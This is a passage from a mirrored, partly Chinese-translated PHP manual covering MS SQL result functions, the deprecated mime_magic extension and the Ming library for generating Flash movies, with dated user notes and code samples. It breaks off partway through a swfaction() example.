(PHP 3, PHP 4, PHP 5)

mssql_result -- Get result data

Description

string mssql_result ( resource result, int row, mixed field )

mssql_result() returns the contents of one cell from a MS SQL result set. The field argument can be the field's offset, the field's name or the field's table dot field's name (tablename.fieldname). If the column name has been aliased ('select foo as bar from...'), it uses the alias instead of the column name.

When working on large result sets, you should consider using one of the functions that fetch an entire row (specified below). As these functions return the contents of multiple cells in one function call, they're MUCH quicker than mssql_result(). Also, note that specifying a numeric offset for the field argument is much quicker than specifying a fieldname or tablename.fieldname argument.

Recommended high-performance alternatives:
mssql_fetch_row(),
mssql_fetch_array(), and
mssql_fetch_object().

add a note add a note User Contributed Notes
goodrichNOSPAM at raccoon dot com
28-Sep-2002 12:50
The "i" parameter appears to be the row number.  This was implied by checking mysql_result, which documents what the middle paramter specifies.
add a note add a note

后退 | 起点 | 前进
mssql_query | 上一级 | mssql_rows_affected


mssql_rows_affected

(PHP 4 >= 4.0.4, PHP 5)

mssql_rows_affected -- Returns the number of records affected by the query

Description

int mssql_rows_affected ( resource conn_id )

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
paul dot bulmer at e-businessengines dot com
30-Aug-2002 01:34
mssql_rows_affected works with PHP 4.2.1 on windows as long as you include the connection ID, without that even though it doesn't generate an error with just 'value = mssql_rows_affected' it doesn't pick up any value
blakjak at NOSPAM dot com dot au
18-Jul-2002 05:00
At the time of writing this note, the mssql_rows_affected function doesn't seem to be working.  If you need to access the number of rows affected by the most recent mssql query, you can grab the @@ROWCOUNT variable.  A quick example of how to do this:

function rows_affected(){
 $result = mssql_query("SELECT @@ROWCOUNT");
 list($affected) = mssql_fetch_row($result);
 return $affected;
}
add a note add a note

后退 | 起点 | 前进
mssql_result | 上一级 | mssql_select_db


mssql_select_db

(PHP 3, PHP 4, PHP 5)

mssql_select_db -- Select MS SQL database

Description

bool mssql_select_db ( string database_name [, resource link_identifier] )

如果成功则返回 TRUE，失败则返回 FALSE。

mssql_select_db() sets the current active database on the server that's associated with the specified link identifier. If no link identifier is specified, the last opened link is assumed. If no link is open, the function will try to establish a link as if mssql_connect() was called, and use it.

Every subsequent call to mssql_query() will be made on the active database.

To escape the name of a database that contains spaces, hyphens ("-"), or any other exceptional characters, the database name must be enclosed in brackets, as is shown in the example, below. This technique must also be applied when selecting a database name that is also a reserved word (such as "primary").

例子 1. mssql_select_db() example

<?php
    $conn = mssql_connect('MYSQLSERVER', 'sa', 'password');
    mssql_select_db('[my data-base]', $conn);
?>

See also:
    mssql_connect(),
    mssql_pconnect(), and
    mssql_query()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
mssql_rows_affected | 上一级 | Mimetype Functions


Mimetype Functions

PHP 手册
后退 前进

LXXVI. Mimetype Functions

简介

警告

This extension has been deprecated as the PECL extension fileinfo provides the same functionality (and more) in a much cleaner way.

The functions in this module try to guess the content type and encoding of a file by looking for certain magic byte sequences at specific positions within the file. While this is not a bullet proof approach the heuristics used do a very good job.

This extension is derived from Apache mod_mime_magic, which is itself based on the file command maintained by Ian F. Darwin. See the source code for further historic and copyright information.

需求

要编译本扩展模块不需要外部库文件。

安装

You must compile PHP with the configure switch --with-mime-magic to get support for mime-type functions. The extension needs a copy of the simplified magic file that is distributed with the Apache httpd.

注: The configure option has been changed from --enable-mime-magic to --with-mime-magic since PHP 4.3.2

注: This extension is not capable of handling the fully decorated magic file that generally comes with standard Linux distro's and is supposed to be used with recent versions of file command.

Note to Win32 Users: In order to use this module on a Windows environment, you must set the path to the bundled magic.mime file in your php.ini.

例子 1. Setting the path to magic.mime

mime_magic.magicfile = "$PHP_INSTALL_DIR\magic.mime"

Remember to substitute the $PHP_INSTALL_DIR for your actual path to PHP in the above example. e.g. c:\php

运行时配置

这些函数的行为受 php.ini 的影响。

表格 1. Mimetype configuration options

Name | Default | Changeable | Changelog
mime_magic.debug | "0" | PHP_INI_SYSTEM | Available since PHP 5.0.0.
mime_magic.magicfile | "/path/to/php/magic.mime" | PHP_INI_SYSTEM | Available since PHP 4.3.0.
有关 PHP_INI_* 常量进一步的细节与定义参见附录 G。

以下是配置选项的简要解释。

mime_magic.debug bool

Enable/disable debugging.

mime_magic.magicfile string

The path to the magic.mime file.

资源类型

本扩展模块未定义任何资源类型。

预定义常量

本扩展模块未定义任何常量。

目录
mime_content_type -- Detect MIME Content-type for a file

add a note add a note User Contributed Notes
Bjorn dot Wiberg at its dot uu dot se
08-Mar-2005 04:32
For those experiencing problems with "invalid magic file, disabled" in phpinfo() although everything seems to be set up correctly:

It seems that the real error behind this is that the PHP mime_magic
extension does NOT obey "php_admin_value mime_magic.magicfile" or
"php_value mime_magic.magicfile" directives in httpd.conf, although the
documentation states that mime_magic.magicfile should be settable from
PHP_INI_SYSTEM, i.e., from php.ini and httpd.conf.

Adding the following to php.ini correctly configures mime_magic (using
an Apache 2-supplied magic file):

[mime_magic]
mime_magic.magicfile = "/etc/apache/magic"

Furthermore, phpinfo() will SHOW any httpd.conf setting of
mime_magic.magicfile that you make, but still not actually USE anything
but what you specified in php.ini!

Hopefully this can help someone. As the mime_magic extension is deprecated, it is not supported anymore, so I guess we can't expect any fixes to this. Even though many scripts still use the mime_magic functionality.
mad4linux
23-Feb-2005 10:28
The correct link to the mime-types list is:

http://www.iana.org/assignments/media-types/
add a note add a note

后退 | 起点 | 前进
mssql_select_db | 上一级 | mime_content_type


mime_content_type

(PHP 4 >= 4.3.0, PHP 5)

mime_content_type -- Detect MIME Content-type for a file

Description

string mime_content_type ( string filename )

Returns the MIME content type for a file as determined by using information from the magic.mime file. Content types are returned in MIME format, like text/plain or application/octet-stream.

例子 1. mime_content_type() example

<?php
echo mime_content_type('php.gif') . "\n";
echo mime_content_type('test.php');
?>

上例将输出：

image/gif
text/plain

add a note add a note User Contributed Notes
sven at frontmedia dot it
06-Mar-2006 04:58
little correction:

<?php

if ( ! function_exists ( 'mime_content_type ' ) )
{
   function mime_content_type ( $f )
   {
       return system ( trim( 'file -bi ' . escapeshellarg ( $f ) ) ) ;
   }
}

?>
webmaster at cafe-clope dot net
23-Feb-2006 09:31
Completing <some dude AT somewhere DOT com> comment:

0 string < ? php application/x-httpd-php

and string detection on text files may fail if you check a file encoded with signed UTF-8. The UTF-8 signature is a two bytes code (0xFF 0xFE) that prepends the file in order to force UTF-8 recognition (you may check it on an hexadecimal editor).
Y0Gi
26-Jan-2006 03:13
The 'file' utility fortunately is available for Windows, too:
http://gnuwin32.sourceforge.net/packages/file.htm
some dude AT somewhere DOT com
08-Oct-2005 12:44
I added these two lines to my magic.mime file:

0 string \<?php application/x-httpd-php
0 string <?xml text/xml

The first one may not work if "<?php" is not at the very beginning of your file, e.g., if some HTML preceeds the first bit of PHP code. The second one should work because "<?xml" *should* be the first thing in every XML file.
priyagnair at yahoo dot com
07-Sep-2005 07:40
Quote:
>>sunfra at firenze dot net
>>29-Apr-2005 06:31

mimetype Full list Ref: http://www.duke.edu/websrv/file-extensions.html
ginnsu at arcee dot ca
09-Mar-2005 02:14
The function mime_content_type only worked for me on Microsoft Windows after I added the directive "mime_magic.debug" to my php.ini with the value of "On". The default value appears to be "Off". Exampe:

[mime_magic]
mime_magic.debug = On
mime_magic.magicfile = "c:\php\extras\magic.mime"
Cooljay
08-Nov-2004 10:22
This works on windows too. Make sure to uncomment the following in your php.ini file:
extension=php_mime_magic.dll

Also make sure to add the following line anywhere inside the php.ini file:
mime_magic.magicfile = "C:\path\to\php\install\magic.mime"

Voila working mime content types in windows :)
Sven Riedel
10-Jul-2004 09:17
Note that you will need /bin/sh as well as the file(1) program for this function to work. This is relevant when setting apache up in a chroot-environment. Took me a while to find that out.
add a note add a note

后退 | 起点 | 前进
Mimetype Functions | 上一级 | Ming functions for Flash


Ming functions for Flash

PHP 手册
后退 前进

LXXVII. Ming functions for Flash

警告

本扩展模块是实验性的。本模块的行为，包括其函数的名称以及其它任何关于此模块的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本扩展模块风险自担。

简介

First of all: Ming is not an acronym. Ming is an open-source (LGPL) library which allows you to create SWF ("Flash") format movies. Ming supports almost all of Flash 4's features, including: shapes, gradients, bitmaps (pngs and jpegs), morphs ("shape tweens"), text, buttons, actions, sprites ("movie clips"), streaming mp3, and color transforms --the only thing that's missing is sound events.

Note that all values specifying length, distance, size, etc. are in "twips", twenty units per pixel. That's pretty much arbitrary, though, since the player scales the movie to whatever pixel size is specified in the embed/object tag, or the entire frame if not embedded.

Ming offers a number of advantages over the existing PHP/libswf module. You can use Ming anywhere you can compile the code, whereas libswf is closed-source and only available for a few platforms, Windows not one of them. Ming provides some insulation from the mundane details of the SWF file format, wrapping the movie elements in PHP objects. Also, Ming is still being maintained; if there's a feature that you want to see, just let us know ming@opaque.net.

Ming was added in PHP 4.0.5.

需求

To use Ming with PHP, you first need to build and install the Ming library. Source code and installation instructions are available at the Ming home page: http://ming.sourceforge.net/ along with examples, a small tutorial, and the latest news.

Download the ming archive. Unpack the archive. Go in the Ming directory. make. make install.

This will build libming.so and install it into /usr/lib/, and copy ming.h into /usr/include/. Edit the PREFIX= line in the Makefile to change the installation directory.

安装

例子 1. built into PHP (Unix)

mkdir <phpdir>/ext/ming
cp php_ext/* <phpdir>/ext/ming
cd <phpdir>
./buildconf
./configure --with-ming <other config options>

Build and install PHP as usual, restart web server if necessary.

Now either just add extension=php_ming.so to your php.ini file, or put dl('php_ming.so'); at the head of all of your Ming scripts.

运行时配置

本扩展模块在 php.ini 中未定义任何配置选项。

资源类型

预定义常量

以下常量由本扩展模块定义，因此只有在本扩展模块被编译到 PHP 中，或者在运行时被动态加载后才有效。

SWFBUTTON_HIT (integer)

SWFBUTTON_DOWN (integer)

SWFBUTTON_OVER (integer)

SWFBUTTON_UP (integer)

SWFBUTTON_MOUSEUPOUTSIDE (integer)

SWFBUTTON_DRAGOVER (integer)

SWFBUTTON_DRAGOUT (integer)

SWFBUTTON_MOUSEUP (integer)

SWFBUTTON_MOUSEDOWN (integer)

SWFBUTTON_MOUSEOUT (integer)

SWFBUTTON_MOUSEOVER (integer)

SWFFILL_RADIAL_GRADIENT (integer)

SWFFILL_LINEAR_GRADIENT (integer)

SWFFILL_TILED_BITMAP (integer)

SWFFILL_CLIPPED_BITMAP (integer)

SWFTEXTFIELD_HASLENGTH (integer)

SWFTEXTFIELD_NOEDIT (integer)

SWFTEXTFIELD_PASSWORD (integer)

SWFTEXTFIELD_MULTILINE (integer)

SWFTEXTFIELD_WORDWRAP (integer)

SWFTEXTFIELD_DRAWBOX (integer)

SWFTEXTFIELD_NOSELECT (integer)

SWFTEXTFIELD_HTML (integer)

SWFTEXTFIELD_ALIGN_LEFT (integer)

SWFTEXTFIELD_ALIGN_RIGHT (integer)

SWFTEXTFIELD_ALIGN_CENTER (integer)

SWFTEXTFIELD_ALIGN_JUSTIFY (integer)

SWFACTION_ONLOAD (integer)

SWFACTION_ENTERFRAME (integer)

SWFACTION_UNLOAD (integer)

SWFACTION_MOUSEMOVE (integer)

SWFACTION_MOUSEDOWN (integer)

SWFACTION_MOUSEUP (integer)

SWFACTION_KEYDOWN (integer)

SWFACTION_KEYUP (integer)

SWFACTION_DATA (integer)

预定义类

以下类由本扩展模块定义，因此只有在本扩展模块被编译到 PHP 中，或者在运行时被动态加载后才有效。

Ming introduces 13 new objects in PHP, all with matching methods and attributes. To use them, you need to know about objects.

swfshape

swffill

swfgradient

swfbitmap

swftext

swftextfield

swffont

swfdisplayitem

swfmovie

swfbutton

swfaction

swfmorph

swfsprite

目录
ming_setcubicthreshold -- Set cubic threshold (?)
ming_setscale -- Set scale (?)
ming_useswfversion -- Use SWF version (?)
SWFAction -- Creates a new Action
SWFBitmap->getHeight -- Returns the bitmap's height
SWFBitmap->getWidth -- Returns the bitmap's width
SWFBitmap -- Loads Bitmap object
swfbutton_keypress -- Returns the action flag for keyPress(char)
SWFbutton->addAction -- Adds an action
SWFbutton->addShape -- Adds a shape to a button
SWFbutton->setAction -- Sets the action
SWFbutton->setdown -- Alias for addShape(shape, SWFBUTTON_DOWN)
SWFbutton->setHit -- Alias for addShape(shape, SWFBUTTON_HIT)
SWFbutton->setOver -- Alias for addShape(shape, SWFBUTTON_OVER)
SWFbutton->setUp -- Alias for addShape(shape, SWFBUTTON_UP)
SWFbutton -- Creates a new Button
SWFDisplayItem->addColor -- Adds the given color to this item's color transform
SWFDisplayItem->move -- Moves object in relative coordinates
SWFDisplayItem->moveTo -- Moves object in global coordinates
SWFDisplayItem->multColor -- Multiplies the item's color transform
SWFDisplayItem->remove -- Removes the object from the movie
SWFDisplayItem->Rotate -- Rotates in relative coordinates
SWFDisplayItem->rotateTo -- Rotates the object in global coordinates
SWFDisplayItem->scale -- Scales the object in relative coordinates
SWFDisplayItem->scaleTo -- Scales the object in global coordinates
SWFDisplayItem->setDepth -- Sets z-order
SWFDisplayItem->setName -- Sets the object's name
SWFDisplayItem->setRatio -- Sets the object's ratio
SWFDisplayItem->skewX -- Sets the X-skew
SWFDisplayItem->skewXTo -- Sets the X-skew
SWFDisplayItem->skewY -- Sets the Y-skew
SWFDisplayItem->skewYTo -- Sets the Y-skew
SWFDisplayItem -- Creates a new displayitem object
SWFFill->moveTo -- Moves fill origin
SWFFill->rotateTo -- Sets fill's rotation
SWFFill->scaleTo -- Sets fill's scale
SWFFill->skewXTo -- Sets fill x-skew
SWFFill->skewYTo -- Sets fill y-skew
SWFFill -- Loads SWFFill object
swffont->getwidth -- Returns the string's width
SWFFont -- Loads a font definition
SWFGradient->addEntry -- Adds an entry to the gradient list
SWFGradient -- Creates a gradient object
SWFMorph->getshape1 -- Gets a handle to the starting shape
SWFMorph->getshape2 -- Gets a handle to the ending shape
SWFMorph -- Creates a new SWFMorph object
SWFMovie->add -- Adds any type of data to a movie
SWFMovie->nextframe -- Moves to the next frame of the animation
SWFMovie->output -- Dumps your lovingly prepared movie out
swfmovie->remove -- Removes the object instance from the display list
SWFMovie->save -- Saves your movie in a file
SWFMovie->setbackground -- Sets the background color
SWFMovie->setdimension -- Sets the movie's width and height
SWFMovie->setframes -- Sets the total number of frames in the animation
SWFMovie->setrate -- Sets the animation's frame rate
SWFMovie->streammp3 -- Streams a MP3 file
SWFMovie -- Creates a new movie object, representing an SWF version 4 movie
SWFShape->addFill -- Adds a solid fill to the shape
SWFShape->drawCurve -- Draws a curve (relative)
SWFShape->drawCurveTo -- Draws a curve
SWFShape->drawLine -- Draws a line (relative)
SWFShape->drawLineTo -- Draws a line
SWFShape->movePen -- Moves the shape's pen (relative)
SWFShape->movePenTo -- Moves the shape's pen
SWFShape->setLeftFill -- Sets left rasterizing color
SWFShape->setLine -- Sets the shape's line style
SWFShape->setRightFill -- Sets right rasterizing color
SWFShape -- Creates a new shape object
swfsprite->add -- Adds an object to a sprite
SWFSprite->nextframe -- Moves to the next frame of the animation
SWFSprite->remove -- Removes an object to a sprite
SWFSprite->setframes -- Sets the total number of frames in the animation
SWFSprite -- Creates a movie clip (a sprite)
SWFText->addString -- Draws a string
SWFText->getWidth -- Computes string's width
SWFText->moveTo -- Moves the pen
SWFText->setColor -- Sets the current font color
SWFText->setFont -- Sets the current font
SWFText->setHeight -- Sets the current font height
SWFText->setSpacing -- Sets the current font spacing
SWFText -- Creates a new SWFText object
SWFTextField->addstring -- Concatenates the given string to the text field
SWFTextField->align -- Sets the text field alignment
SWFTextField->setbounds -- Sets the text field width and height
SWFTextField->setcolor -- Sets the color of the text field
SWFTextField->setFont -- Sets the text field font
SWFTextField->setHeight -- Sets the font height of this text field font
SWFTextField->setindentation -- Sets the indentation of the first line
SWFTextField->setLeftMargin -- Sets the left margin width of the text field
SWFTextField->setLineSpacing -- Sets the line spacing of the text field
SWFTextField->setMargins -- Sets the margins width of the text field
SWFTextField->setname -- Sets the variable name
SWFTextField->setrightMargin -- Sets the right margin width of the text field
SWFTextField -- Creates a text field object

add a note add a note User Contributed Notes
Scottie_Too_Hottie7 at lycos dot com
11-Nov-2005 04:59
For People Like My Mate, Matt, Who Dosent Know Much PHP, I Am Creating A Simpeler PHP Libary. It Runs Under Ming 0.3

It - Along With Two Examples - Can Be Currently Downloaded From The Link Below

PLEASE NOTE : At The Time Of This Post, The Libary Is Currently Is Unfinished And Currently Looks Like A Mess Of Files - But It Works!

http://members.lycos.co.uk/cgming/simpleswf.html
dank at nospam dot org
08-Apr-2005 05:23
/*
If you are looking to do some simple interaction between Flash MX and php,
here is an extremely basic model to get you started. The Flash file has a simple
Input Text field which allows the user to enter text (ie a textbox). The flash
then passes the textfield to the php script for processing/database interaction etc.

The idea is a form made in Flash, but processing by php/mysql (or whatever). If you want
to handle all GUI in Flash, see the links below for more info.

All "Actions" or "Action Script" located in frame 1, layer 1.
In Flash, create an Input Box with an instance name of myTextBox.
Create a "submit button" using Insert>New Symbol>Movie Clip.
Dont use the PushButton Component or you will have to add
scripting to that component (ie outside Frame1 Layer1). Keeping all the
Action Script in Frame1 makes for a simpler example.

Next, click on the background in Frame1 (the "Properties" dialog
should show the Background color). Hit F9 to show actions for Frame1.
Enter the below code:
*/

//Create object to hold vars
dataSender  = new LoadVars();

//Define submit button behavior
submit_button.onRelease = function() {
   //assign properties to LoadVars object created previously
   //myTextBox is instance name for input text box
   //foo will be the var passed to php (ie $foo)
   //Set foo to the text entered by user
   dataSender.foo = myTextBox.text;
   //Call flash's send function to send foo to the php script
   //Using "_self" will pass control to the php script
   dataSender.send("testFlash.php", "_self", "POST");
}

/* Put the swf file in an html file and upload it to the server
Create the below php file and save it as testFlash.php:

<?php
echo "foo= $foo";
?>

Push testFlash.php to the same directory on the server and hit
your html file with your browser.

Parts of this code taken from:
http://www.thegoldenmean.com/technique/flashMX_mailform1.html
and
http://actionscript-toolbox.com/samplemx_php.php
*/
wokan at cox dot net
02-Jun-2004 09:07
For those who don't get the naming, _Ming_ the Merciless was comic book hero _Flash_ Gordon's arch enemy.
gaz_b3 at yahoo dot com
04-Apr-2003 09:11
The current CVS version, Ming 0.3a, supports
a lot of MX ActionScript including the MX Drawing API.
This is very nice for easy command line compiling of
MX ActionScript only movies.

For example:

<?
ming_setScale(20.00000000);
ming_useswfversion(6);
$movie = new SWFMovie();
$movie->setDimension(550,400);
$movie->setBackground(0xcc, 0xcc, 0xcc );
$movie->setRate(31);

// mx actionscript
$strAction = "
_root.createEmptyMovieClip ( 'triangle', 1 );
with ( _root.triangle ) {
lineStyle( 5, 0xff00ff, 100 );
moveTo( 200, 200 );
lineTo( 300,300 );
lineTo( 100, 300 );
lineTo( 200, 200 );
}
";

$movie->add(new SWFAction( str_replace("\r", "", $strAction) ));
$movie->save("trianglemx.swf");
?>

Lots of examples here:

http://www16.brinkster.com/gazb/ming/
attila at linuks dot NOSPAM dot net
27-Dec-2001 01:42
You can get several .fdb font files from http://www.neuralust.com/~mingdocs/fonts/getfonts.htm
kunnoichi at hotmail dot com
21-Aug-2001 03:50
//In quicktime, movies may be exported as jpeg or png
//This object will convert any movie that has been saved as a group of images into
//an swf file. The frame rate and other attributes can be controlled

$path = "my_movie_dir"; //relative path to the jpg/png or bmp files
$frame_rate=30; //frame rate of the flash movie
$quality=50; //image quality during conversion (only valid if not jpeg)
$skip_rate=5; //how many frames to skip
set_time_limit("600"); //this could take some time

$converter=new images_to_swf($path,$frame_rate,$skip_rate);

//$converter->convert_images(70); //Use this if using non jpeg files or decreasing the quality

$converter->make_movie();//Make the movie

//Do two things with it
$converter->save_movie("my_movie_dir/my_movie.swf");
$converter->output_movie();

class images_to_swf {

   var $path; //path to the image files
   var $skip_rate;
   var $movie;
   var $images=array();

   function images_to_swf($path,$frame_rate=30,$skip_rate=5) {
       $this->path=$path;
       $this->skip_rate=$skip_rate;

       $this->movie=new swfmovie ();
       $this->movie->setrate ($frame_rate);
   }

   function convert_images($quality=80,$delete_old_files=1) {
       $main = opendir($this->path);
       rewinddir($main);
       //first convert to jpeg (if we have to)
       //also change the quality
       while($filename = readdir($main)) {

           //only use valid file types
           if (ereg("(png|bmp|jpg|jpeg)\$",$filename)) {
               $file_path=$this->path."/".$filename;

               if (ereg("png\$",$filename)) $temp_img=imagecreatefrompng ($file_path);
               else if (ereg("bmp\$",$filename)) $temp_img=imagecreatefrompng ($file_path);
               else if (ereg("(jpg|jpeg)\$",$filename)) $temp_img=imagecreatefromjpeg ($file_path);

               if (ereg("(png|bmp)\$",$filename)) {
                   if ($delete_old_files) unlink($file_path);
                   $new_file_path=$file_path.".jpg";
               }
               else $new_file_path=$file_path;

               ImageJPEG($temp_img,$new_file_path,$quality);

               //echo "Converted $filename to $new_file_path at quality $quality<br />";
           }
       }
   }

   function make_movie() {
       $main = opendir($this->path);
       rewinddir($main);
       //Get all valid jpegs
       while($filename = readdir($main)) {
           if (ereg("(jpg|jpeg)\$",$filename)) {
               $file_path=$this->path."/".$filename;
               $valid_paths[]=$file_path;
           }
       }

       //Put jpegs in order
       sort($valid_paths);

       //then create the movie
       for ($a=0; $a<count($valid_paths); $a=$a+$this->skip_rate) {
           $fp = fopen($valid_paths[$a],"rb");
           $this->images[$a] = fread($fp,999999);
           fclose($fp);
           $this->movie->add(new swfbitmap($this->images[$a]));
           $this->movie->nextframe();
           //echo "Added ".$valid_paths[$a]." to the movie<br />\n";
       }
   }

   function save_movie($file_name) {
       $this->movie->save($file_name);
   }

   function output_movie() {
       header('Content-type: application/x-shockwave-flash');
       $this->movie->output();
   }
}
ivv_rousse at yahoo dot com
04-Aug-2001 09:17
// Simple button with link

<?php
  Ming_setScale(1.0);

  function makeRect($r, $g, $b){
   $s = new SWFShape();
   $s->setRightFill($s->addFill($r, $g, $b));
   $s->movePenTo(-100,-20);
   $s->drawLineTo(100,-20);
   $s->drawLineTo(100,20);
   $s->drawLineTo(-100,20);
   $s->drawLineTo(-100,-20);
   return $s;
  }

// Set Font
  $font = new SWFFont("test.fdb");
  $text1 = new SWFText();
  $text1->setFont($font);
  $text1->moveTo(155, 410);
  $text1->setColor(0x00, 0x00, 0x00);
  $text1->setHeight(28);
  $text1->addString("php.net");
  $b1 = new SWFButton();
  $b1->setUp(makeRect(0xff, 0, 0));
  $b1->setOver(makeRect(0xcc, 0, 0));
  $b1->setDown(makeRect(0, 0, 0xaa));
  $b1->setHit(makeRect(0, 0, 0));
  $b1->addAction(new SWFAction("getURL('http://www.php.net/', 'phpsite');"),
               SWFBUTTON_MOUSEUP);

  $m = new SWFMovie();
  $m->setDimension(1000,1000);
  $m->setBackground(0xcc, 0xcc, 0xcc);

  $i = $m->add($b1);
  $m->add($text1);
  $i->setName("phpsite");
  $i->moveTo(200,400);

header("Content-type: application/x-shockwave-flash");
$m->output();
?>
add a note add a note

后退 | 起点 | 前进
mime_content_type | 上一级 | ming_setcubicthreshold


ming_setcubicthreshold

(PHP 4 >= 4.0.5, PHP 5)

ming_setcubicthreshold -- Set cubic threshold (?)

Description

void ming_setcubicthreshold ( int threshold )

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
cece at php dot net
29-Aug-2002 01:18
Reading that document on Macromedia's site gives me light.

http://www.macromedia.com/support/flash/ts/documents/beziers.htm

It says, swf format only supports quadratic beziers, what less accurate than cubic beziers, but easy to render fast. I think, in swf file's beziers are quadratic interpolation of better looking quadratic beziers. Threshold value drives this accuracy (more control nodes, bigger files)
rob at theblip dot please dot god dot no dot spam dot com
10-Apr-2002 03:35
From the source code: sets the threshold error for drawing cubic beziers.  Lower is more accurate, hence larger file size.
add a note add a note

后退 | 起点 | 前进
Ming functions for Flash | 上一级 | ming_setscale


ming_setscale

(PHP 4 >= 4.0.5, PHP 5)

ming_setscale -- Set scale (?)

Description

void ming_setscale ( int scale )

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
mabuzzer at hotmail dot com
14-Mar-2002 02:58
ming_setscale() sets the scale of the output SWF.

Inside the SWF file, coordinates are measured in TWIPS, rather than PIXELS. There are 20 TWIPS in 1 pixel.

Originally, Ming used the TWIP coordinate values, but this was quite often confusing, especially when loading a Ming generated movie into one created using Flash.

Ming v0.1.0 addressed this, by making the default coordinate system use Pixels. This function is to allow older code (which assumes the scale to be in TWIPS) to continue to function as it did under Ming pre 0.1.0

As the Ming site says, "If you have no idea what I'm talking about, good. " Because you then have no need for this function.
add a note add a note

后退 | 起点 | 前进
ming_setcubicthreshold | 上一级 | ming_useswfversion


ming_useswfversion

(PHP 4 >= 4.2.0, PHP 5)

ming_useswfversion -- Use SWF version (?)

Description

void ming_useswfversion ( int version )

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
gnuwhoNOSPAMyahoo
27-May-2005 12:32
Anybody using ming for FlashLite programming?
Let's get this thread started!
jerryscript at aol dot com
05-Jan-2004 10:25
Current CVS version (0.3) allows you to set version to 6, allowing for MX actionscript

ming_useswfversion(6);
jerryj1 at lvcm dot com
03-Feb-2002 08:34
Ming 0.2 uses Flash 5 action script unless you set the version to 4.
16-Jan-2002 10:55
According to the Ming site, this is supposed to make Ming compile your code in the Flash version 4 format, instead of 5. I've only seen it produce error messages, though.
add a note add a note

后退 | 起点 | 前进
ming_setscale | 上一级 | SWFAction


SWFAction

(PHP 4 >= 4.0.5)

SWFAction -- Creates a new Action

Description

SWFAction swfaction ( string script )

警告

本函数是实验性的。本函数的行为，包括函数名称以及其它任何关于本函数的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本函数风险自担。

swfaction() creates a new Action, and compiles the given script into an SWFAction object.

The script syntax is based on the C language, but with a lot taken out- the SWF bytecode machine is just too simpleminded to do a lot of things we might like. For instance, we can't implement function calls without a tremendous amount of hackery because the jump bytecode has a hardcoded offset value. No pushing your calling address to the stack and returning- every function would have to know exactly where to return to.

So what's left? The compiler recognises the following tokens:

  • break

  • for

  • continue

  • if

  • else

  • do

  • while

There is no typed data; all values in the SWF action machine are stored as strings. The following functions can be used in expressions:

time()

Returns the number of milliseconds (?) elapsed since the movie started.

random(seed)

Returns a pseudo-random number in the range 0-seed.

length(expr)

Returns the length of the given expression.

int(number)

Returns the given number rounded down to the nearest integer.

concat(expr, expr)

Returns the concatenation of the given expressions.

ord(expr)

Returns the ASCII code for the given character

chr(num)

Returns the character for the given ASCII code

substr(string, location, length)

Returns the substring of length length at location location of the given string string.

Additionally, the following commands may be used:

duplicateClip(clip, name, depth)

Duplicate the named movie clip (aka sprite). The new movie clip has name name and is at depth depth.

removeClip(expr)

Removes the named movie clip.

trace(expr)

Write the given expression to the trace log. Doubtful that the browser plugin does anything with this.

startDrag(target, lock, [left, top, right, bottom])

Start dragging the movie clip target. The lock argument indicates whether to lock the mouse (?)- use 0 (FALSE) or 1 (TRUE). Optional parameters define a bounding area for the dragging.

stopDrag()

Stop dragging my heart around. And this movie clip, too.

callFrame(expr)

Call the named frame as a function.

getURL(url, target, [method])

Load the given URL into the named target. The target argument corresponds to HTML document targets (such as "_top" or "_blank"). The optional method argument can be POST or GET if you want to submit variables back to the server.

loadMovie(url, target)

Load the given URL into the named target. The target argument can be a frame name (I think), or one of the magical values "_level0" (replaces current movie) or "_level1" (loads new movie on top of current movie).

nextFrame()

Go to the next frame.

prevFrame()

Go to the last (or, rather, previous) frame.

play()

Start playing the movie.

stop()

Stop playing the movie.

toggleQuality()

Toggle between high and low quality.

stopSounds()

Stop playing all sounds.

gotoFrame(num)

Go to frame number num. Frame numbers start at 0.

gotoFrame(name)

Go to the frame named name. Which does a lot of good, since I haven't added frame labels yet.

setTarget(expr)

Sets the context for action. Or so they say- I really have no idea what this does.

And there's one weird extra thing. The expression frameLoaded(num) can be used in if statements and while loops to check if the given frame number has been loaded yet. Well, it's supposed to, anyway, but I've never tested it and I seriously doubt it actually works. You can just use /:framesLoaded instead.

Movie clips (all together now- aka sprites) have properties. You can read all of them (or can you?), you can set some of them, and here they are:

  • x

  • y

  • xScale

  • yScale

  • currentFrame - (read-only)

  • totalFrames - (read-only)

  • alpha - transparency level

  • visible - 1=on, 0=off (?)

  • width - (read-only)

  • height - (read-only)

  • rotation

  • target - (read-only) (???)

  • framesLoaded - (read-only)

  • name

  • dropTarget - (read-only) (???)

  • url - (read-only) (???)

  • highQuality - 1=high, 0=low (?)

  • focusRect - (???)

  • soundBufTime - (???)

So, setting a sprite's x position is as simple as /box.x = 100;. Why the slash in front of the box, though? That's how flash keeps track of the sprites in the movie, just like a Unix filesystem- here it shows that box is at the top level. If the sprite named box had another sprite named biff inside of it, you'd set its x position with /box/biff.x = 100;. At least, I think so; correct me if I'm wrong here.

This simple example will move the red square across the window.

例子 1. swfaction() example

<?php
  $s = new SWFShape();
  $f = $s->addFill(0xff, 0, 0);
  $s->setRightFill($f);

  $s->movePenTo(-500, -500);
  $s->drawLineTo(500, -500);
  $s->drawLineTo(500, 500);
  $s->drawLineTo(-500, 500);
  $s->drawLineTo(-500, -500);

  $p = new SWFSprite();
  $i = $p->add($s);
  $i->setDepth(1);
  $p->nextFrame();

  for ($n=0; $n<5; ++$n) {
    $i->rotate(-15);
    $p->nextFrame();
  }

  $m = new SWFMovie();
  $m->setBackground(0xff, 0xff, 0xff);
  $m->setDimension(6000, 4000);

  $i = $m->add($p);
  $i->setDepth(1);
  $i->moveTo(-500,2000);
  $i->setName("box");

  $m->add(new SWFAction("/box.x += 3;"));
  $m->nextFrame();
  $m->add(new SWFAction("gotoFrame(0); play();"));
  $m->nextFrame();

  header('Content-type: application/x-shockwave-flash');
  $m->output();
?>

This simple example tracks down your mouse on the screen.

例子 2. swfaction() example

<?php

  $m = new SWFMovie();
  $m->setRate(36.0);
  $m->setDimension(1200, 800);
  $m->setBackground(0, 0, 0);

  /* mouse tracking sprite - empty, but follows mouse so we can
     get its x and y coordinates */

  $i = $m->add(new SWFSprite());
  $i->setName('mouse');

